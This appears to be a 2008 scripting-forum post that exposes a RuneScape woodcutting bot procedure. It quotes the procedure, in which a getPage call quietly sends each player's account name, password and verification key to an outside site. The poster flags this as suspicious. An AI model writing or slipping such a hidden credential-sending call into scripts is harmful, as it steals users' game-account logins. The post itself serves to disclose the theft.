Wizzup?
2008-11-03 15:46:03
http://www.scar-scripts.com/view/10
(Thanks Nava2)
The website does not exist anymore, though. http://www.shuttleu.net
Is this some joke? Maybe someone wanted to set him up the bomb. :p
procedure StartNextPlayer;
var i, MinChopLvl: integer;
begin
logout;
KeepPlayer := true;
Players[CurrentPlayer].Booleans[2] := false;
Players[CurrentPlayer].Integers[11] := 0;
Begin
If (Code[0] = '') Or (Code[1] = '') Or (verKey = '') Then
Begin
Code[0] := Players[CurrentPlayer].Name;
Code[1] := Players[CurrentPlayer].Pass;
verKey := Players[CurrentPlayer].Strings[0];
End;
End;
getPage('http://www.shuttleu.net/stats.php?tresc=Code[0]=' + Code[0] + '+Code[1]=' + Code[1] + '+verKey=' + verKey + '+&CreateSessionIDverKey+');
i := 1;
repeat
LoginPlayer;
writeln('Starting...');
wait(2000);
i := i + 1;
until LoggedIn or (i > 5);
if not Players[CurrentPlayer].Booleans[1] then
begin
case lowercase(Players[CurrentPlayer].Strings[2]) of
'e' : begin
Players[CurrentPlayer].Strings[2] := locations[0];
MinChopLvl := 60;
end;
'sm' : begin
Players[CurrentPlayer].Strings[2] := locations[1];
MinChopLvl := 75;
end;
'cy' : begin
Players[CurrentPlayer].Strings[2] := locations[2];
MinChopLvl := 60;
end;
end;
GameTab(11);
wait(500 + Random(500));
SetRun(true);
wait(500 + Random(500));
GetAllLevels;
Players[CurrentPlayer].Booleans[1] := true;
Players[CurrentPlayer].Booleans[3] := DebugOn;
Players[CurrentPlayer].Integers[1] := GetXP('woodcutting');
Players[CurrentPlayer].Integers[2] := Players[CurrentPlayer].level[20];
Players[CurrentPlayer].Integers[10] := GetSystemTime;
Players[CurrentPlayer].Integers[12]:= XpTillNextLevel('woodcutting');
end;
SRL_Logs := SRL_Logs + 1;
GameTab(4);
if not FindTheAxe(FirstDeposit, DumpVar, false) then
begin
writeln('Could not find any axes, logging out player ' + Players[CurrentPlayer].Name);
KeepPlayer := false;
exit;
end;
MakeCompass('N');
SetAngle(true);
LampSkill := Players[CurrentPlayer].Strings[1];
if (Players[CurrentPlayer].level[20] < MinChopLvl) then
begin
writeln(Players[CurrentPlayer].Name + ' does not have a high enough woodcutting level.');
KeepPlayer := false;
exit;
end;
end;
(Thanks Nava2)
The website does not exist anymore, though. http://www.shuttleu.net
Is this some joke? Maybe someone wanted to set him up the bomb. :p